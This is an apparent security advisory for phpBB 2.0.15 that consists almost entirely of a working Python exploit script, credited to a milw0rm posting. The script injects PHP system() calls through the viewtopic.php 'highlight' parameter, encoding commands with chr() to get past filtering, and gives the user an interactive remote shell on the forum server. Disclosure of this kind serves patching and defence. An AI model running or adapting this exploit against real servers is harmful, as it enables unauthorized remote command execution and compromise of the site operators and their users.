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phpBB Remote PHP Code Execution (viewtopic.php 2)
------------------------------------------------------------------------
SUMMARY
" <http://www.phpbb.com/> phpBB is a high powered, fully scalable, and
highly customizable Open Source bulletin board package".
The following exploit code utilizes a vulnerability in phpBB to cause
phpBB to execute arbitrary code.
DETAILS
Vulnerable Systems:
* phpBB version 2.0.15
#!/usr/bin/pyth0n
#
################################ this exploit for
# phpBB
2.0.15
print "\nphpBB 2.0.15 arbitrary command execution eXploit" # emulates
a shell,
print " 2005 by rattle@awarenetwork.org" # rather
than
print " well, just because there is none." # sending a
single
# command.
import sys ##
from urllib2 import Request, urlopen
from urlparse import urlparse, urlunparse
from urllib import quote as quote_plus
INITTAG = '<g0>'
ENDTAG = '</g0>'
def makecmd(cmd):
return reduce(lambda x,y:
x+'.chr(%d)'%ord(y),cmd[1:],
'chr(%d)'%ord(cmd[0]))
_ex = "%sviewtopic.php?t=%s&highlight=%%27."
_ex += "printf(" + makecmd(INITTAG) + ").system(%s)."
_ex += "printf(" + makecmd(ENDTAG) + ").%%27"
def usage():
print """Usage: %s <forum> <topic>
forum - fully qualified url to the forum
example: http://www.host.com/phpBB/
topic - ID of an existing topic. Well you
will have to check yourself.
"""[:-1] % sys.argv[0]; sys.exit(1)
if __name__ == '__main__':
if len(sys.argv) < 3 or not sys.argv[2].isdigit():
usage()
else:
print
url = sys.argv[1]
if url.count("://") == 0:
url = "http://" + url
url = list(urlparse(url))
host = url[1]
if not host: usage()
if not url[0]: url[0] = 'http'
if not url[2]: url[2] = '/'
url[3] = url[4] = url[5] = ''
url = urlunparse(url)
if url[-1] != '/': url += '/'
topic = quote_plus((sys.argv[2]))
while 1:
try:
cmd = raw_input("[%s]$ " % host).strip()
if cmd[-1]==';': cmd=cmd[:-1]
if (cmd == "exit"): break
else: cmd = makecmd(cmd)
out = _ex % (url,topic,cmd)
try: ret = urlopen(Request(out)).read()
except KeyboardInterrupt: continue
except: pass
else:
ret = ret.split(INITTAG,1)
if len(ret)>1: ret = ret[1].split(ENDTAG,1)
if len(ret)>1:
ret = ret[0].strip();
if ret: print ret
continue;
print "EXPLOIT FAILED"
except:
continue
ADDITIONAL INFORMATION
The information has been provided by <mailto:rattle@awarenetwork.org>
rattle.
The original article can be found at:
<http://www.milw0rm.com/id.php?id=1076>
http://www.milw0rm.com/id.php?id=1076
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